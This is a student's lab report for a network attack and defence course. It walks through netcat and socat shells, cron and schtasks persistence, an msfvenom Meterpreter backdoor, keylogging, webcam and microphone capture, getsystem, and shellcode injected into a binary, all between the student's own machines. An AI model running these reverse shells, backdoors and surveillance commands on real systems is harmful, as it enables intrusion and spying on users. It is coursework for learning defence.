20212422 2023-2024-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 实践目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 回答问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    • 插入不明来源的U盘
    • 安装网上一些不正规的破解软件
    • 在一些非正规的网站下载资源
    • 在钓鱼网站上点击不安全的链接
    • 陌生人发来的邮件中,不明的文件或者链接
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    • Win:任务计划程序,设置开机自启动,安装伪装成服务,和其他文件捆绑,利用powershell。
    • Linux:通过cron指令制定任务来启动程序、各种脚本,和其他文件捆绑。
  • Meterpreter有哪些给你印象深刻的功能?
    • 能够轻而易举的获得目标主机的摄像头和麦克风权限,还能够进行截屏,获得键盘记录等,让我感到自己的电脑是真真实实的不安全。
  • 如何发现自己有系统有没有被安装后门?
    • 使用火绒、Windows Defender这样的杀毒软件进行全盘杀毒扫描
    • 通过实际使用观察系统运行速度有没有变化

2.实验过程

2.1 实验准备

关闭所有的杀毒软件,关闭主机和Linux虚拟机的防火墙。

  • Linux系统关闭防火墙的方法:
sudo apt-get install ufw
ufw disable

以上两步命令可以关闭Kali的防火墙
请添加图片描述
请添加图片描述

  • 获取两台主机的IP地址
    • Windows主机IP地址:192.168.43.176
    • Linux主机IP地址:192.168.163.134
    • 确保两台主机ping通

请添加图片描述

2.2 使用netcat获取主机操作Shell,cron启动某项任务

  • netcat作为底层工具,可实现TCP/UDP数据收发
  • linux中任务的定时启动通过crontab进行

首先在Win10的cmd中开启监听,注意需要再ncat.exe的文件目录下进行操作。

ncat.exe -l -p 2422 //端口号2422

然后再Linux主机中通过ncat和Win10主机建立反弹式连接。

nc 192.168.43.176 2422 -e /bin/sh	//IP是Windows主机的,端口保持一致

请添加图片描述
请添加图片描述
接下来,在root模式下,输入以下命令:

crontab -e	#执行文字编辑器来设定时程表,这里选择的是2:/usr/bin/vim.basic
30 * * * * /bin/netcat 192.168.43.176 2422 -e /bin/sh	#IP地址是win主机的,在每小时的第30分钟启动任务
crontab -l	#查看时程表

请添加图片描述

请添加图片描述
请添加图片描述
在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。请添加图片描述
后续,我们在Windows主机的cmd中进行操作,还是一样与Linux建立连接之后,切换到root模式
请添加图片描述
然后输入

//每分钟定时执行一次,用“20212422”覆盖文件cr.txt
echo "* * * * * echo "20212422" > /home/chenrui/cr.txt" > /var/spool/cron/crontabs/root	

crontab -l 

请添加图片描述
这时候再使用Linux,进入相应目录就发现修改成功。
请添加图片描述
致此,第一部分结束!

2.3 使用socat获取主机操作Shell,任务计划启动

  • socat:功能与netcat类似,可看做netcat plus。它具有netcat所不具备的功能,如建立ssl连接。
    首先,在Windows主机之下进入socat.exe的文件目录下,启用cmd输入命令:
socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr //把cmd.exe绑定到端口2422,并把cmd.exe的stderr重定向到stdout

请添加图片描述
接着在Linux上使用socat与win主机建立连接,可获得其shell:

socat - tcp 192.168.43.176:2422
chcp 65001 //使用该命令可以解决乱码问题

请添加图片描述

接着在Linux上启用Windows的程序,通过命令行创建任务计划,用到 schtasks 命令(windows命令行添加任务计划):
请添加图片描述
请添加图片描述
任务创建成功,创建任务并往里写入我的学号。
请添加图片描述
请添加图片描述
致此,第二部分结束!

2.4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.4.1 生成后门

在Kali中输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.134 LPORT=2422 -f exe > 20212422_backdoor.exe

该命令使用了 Metasploit 框架的 msfvenom 工具,用于生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。

  • LHOST=192.168.163.134:这个选项指定了 Meterpreter shell 连接的主机 IP 地址,即攻击者的 IP 地址,这里是 192.168.163.134。
  • LPORT=2422:这个选项指定了 Meterpreter shell 连接的端口,即在攻击者的系统上监听的端口号,这里是 2422。
  • -f exe:这个选项指定了生成的 payload 的格式,这里是一个可执行文件(Windows PE 格式)。
  • 20212422_backdoor.exe 这个文件就是生成的恶意可执行文件,它包含了 Meterpreter shell 的功能。
    在这里插入图片描述

2.4.2 将生成的后门传送到Windows主机上

在Windows上监听2422的窗口等待接收可执行文件20212306_backdoor.exe

.\ncat -lv 2422 > 20212422_backdoor.exe

在这里插入图片描述
在虚拟机上将生成的20212422_backdoor.exe传给主机

nc 192.168.3.22 2422 < 20212422_backdoor.exe 
注:中途Windows主机IP地址有变更,变更为192.168.3.22

在这里插入图片描述
Win主机接收到后门文件20212422_backdoor.exe

2.4.3 进入msf控制台进行配置

  • 在Kali终端输入命令msfconsole
  • 通过以下命令对监听模块进行配置:
use exploit/multi/handler  //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.163.134  //Linux主机的IP地址,和生成后门程序时指定的IP相同
set LPORT 2422    //设置本主机的端口

在这里插入图片描述

  • 在Linux端输入exploit运行监听模块,并在Windows终端运行后门20212422_backdoor.exe文件
    在这里插入图片描述
    此时,虚拟机可以连接到Win主机了,并且可以通过shell输入命令。在这里插入图片描述

2.5 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.5.1 获取目标主机音频、摄像头、击键记录等内容

在exploit模块中输入以下命令即可:

record_mic    //音频
screenshot    //截屏
webcam_snap        //拍照
keyscan_start    keyscan_dump     //读取键盘记录,输入前一个开启读取,输入后一个读取结束

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.5.2 提权

输入下列命令即可:

getuid    //查看当前用户
getsystem //提权指令

具体的权限问题将在“问题分析”中详细说明
在这里插入图片描述

2.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 使用以下命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.163.134 LPORT=2422 -x /home/chenrui/Desktop/pwn1 -f elf > 20212422_pwn2

这条命令使用了 msfvenom 工具,生成一个 Meterpreter 反向 TCP shell 的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 20212422_pwn2 的文件中。

  • p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型,即针对 Linux x86 系统的 Meterpreter 反向 TCP shell。

  • LHOST=192.168.163.134:设置 Meterpreter shell 连接的目标主机 IP 地址为 192.168.163.134。

  • LPORT=2422:设置 Meterpreter shell 使用的本地端口号为 2422。

  • -x /home/chenrui/Desktop/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。

  • -f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
    在这里插入图片描述

  • 对生成的20212422_pwn2文件赋予权限
    在这里插入图片描述

  • 输入指令msfconsole,重现监听过程:

use exploit/multi/handler    //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp  //对应生成的后门程序设置payload
show options  //查看当前信息状态
set LHOST 192.168.163.134  //ip为攻击者Linux的ip
set LPORT 2422 //设置LPORT
exploit //启动监听
  • 启动Linux虚拟机的另一个终端,运行生成的20212422_pwn2文件(注意用root权限运行)
    在这里插入图片描述
    成功实现远程控制shell!
    在这里插入图片描述
    在这里插入图片描述

3.问题及解决方案

3.1 使用ncat没办法进行连接的问题

做实验时会遇到cmd和Linux连接好像成功,但是输入ls等命令却没有用的情况出现;又或者是之前连接时是好的,但是断开一次又连接就不行了的情况。
对此,在进行排查之后,发现自己将电脑上的火绒安全软件关闭,但是没有关闭WindowsDefender和防火墙。
将上述软件都关闭之后,重启了一遍电脑和虚拟机,重新进行操作,就没有出现断连的情况。
关闭所有杀毒软件和防火墙还是需要很大的勇气的(≧﹏ ≦)

3.2 socat连接时出现的Windows终端乱码问题

在这里插入图片描述

chcp 65001

使用此命令。
在这里,65001 代表 UTF-8 编码。
在 Windows 中,默认的控制台代码页是 437 或 850,这些代码页通常不支持 Unicode 字符,因此在控制台中显示来自 UTF-8 编码的文本时可能会导致乱码。
通过执行 chcp 65001 命令,告诉 Windows 控制台使用 UTF-8 编码来解释和显示文本,使得控制台能够正确地处理 UTF-8 编码的字符。

3.3 提权权限问题

在这里插入图片描述
这里出现问题的原因是用户运行20212422_backdoor.exe的权限不够,我们需要使用管理员身份运行该PE文件。

  • 使用管理员权限运行cmd,进入对应目录,然后正常运行文件即可。
    在这里插入图片描述

4.实验感悟

通过本次实验,我对netcat、socat、cron、MSF meterpreter等有了基本的了解。
第二次实验我踩的坑似乎也没那么多,所以也比较顺利地完成了实验。

当我做到控制音频、摄像头的实验步骤时,有一种自己成为了“菜鸟黑客”的错觉,这些工具帮助我能够用后门获取音频、截图、人像、点击记录等敏感信息的操作,相当于在使用后门入侵到被发现这一个时间端内,被入侵的主机处于任人摆布,毫无隐私可言的状态。

这次实验带给我的震撼很难用语言区形容。做完实验,深深感觉到我关闭Win电脑的杀毒软件和防火墙是一个很大的错误(≧﹏ ≦)

最后,感谢老师和同学的指导!期待下一次由挑战和困难构成的惊喜~( ̄▽ ̄~)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值